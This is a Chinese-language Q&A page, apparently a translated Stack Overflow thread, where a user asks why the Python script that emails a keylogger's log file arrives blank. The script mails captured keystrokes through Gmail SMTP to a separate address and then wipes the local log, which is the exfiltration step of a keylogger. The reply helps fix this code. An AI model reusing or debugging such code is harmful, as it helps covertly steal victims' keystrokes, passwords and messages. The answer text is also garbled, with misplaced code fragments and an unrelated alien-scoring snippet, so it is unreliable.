接收电子邮件附件为空白文件

时间:2018-10-24 04:08:22

标签: python python-2.7

这是我编写的代码...

这会向我发送一个空白的.txt文件作为附件,尽管其中包含数据...

 email_user = 'user@gmail.com'
 email_password = '********'
 email_send = 'send@gmail.com'

 subject = 'This is keyloggings '

 msg = MIMEMultipart()
 msg['From'] = email_user
 msg['To'] = email_send
 msg['Subject'] = subject

 body = 'This is keyloggings'
 msg.attach(MIMEText(body,'plain'))

 filename = 'key_log.txt'
 attachment  = open(filename,'rb')

 part = MIMEBase('application','octet-stream')
 part.set_payload((attachment).read())
 encoders.encode_base64(part)
 part.add_header('Content-Disposition',"attachment;filename= %s" %filename)

 msg.attach(part)

 server = smtplib.SMTP('smtp.gmail.com',587)
 server.ehlo()
 server.starttls()
 server.ehlo()
 server.login(email_user,email_password)
 text = msg.as_string()
 server.sendmail(email_user,email_send,text)
 server.quit()

 #the below code overwrites the file after sending email
 open('C:/Users/sutha/OneDrive/Desktop/keylogger.txt','w').close()

1 个答案:

答案 0 :(得分:0)

拥有read后,您需要part.set_payload((attachment).read())文件。

# Close opened file attachment.close() 添加之后,

part.set_payload((attachment).read())

在使用它时,请将part.set_payload(attachment.read())更改为with,而无需将变量放在圆括号中。

另外,一种更好的方法是使用with open(filename,'rb') as attachment: part.set_payload(attachment.read()) 来关闭文件本身

alien_list= {'red_alien':5, 'green_alien':10, 'blue_alien':20}
current_score= 0
for alien in aliens:
    if alien in alien_list.keys():
        current_score += alien_list[alien]

print(current_score)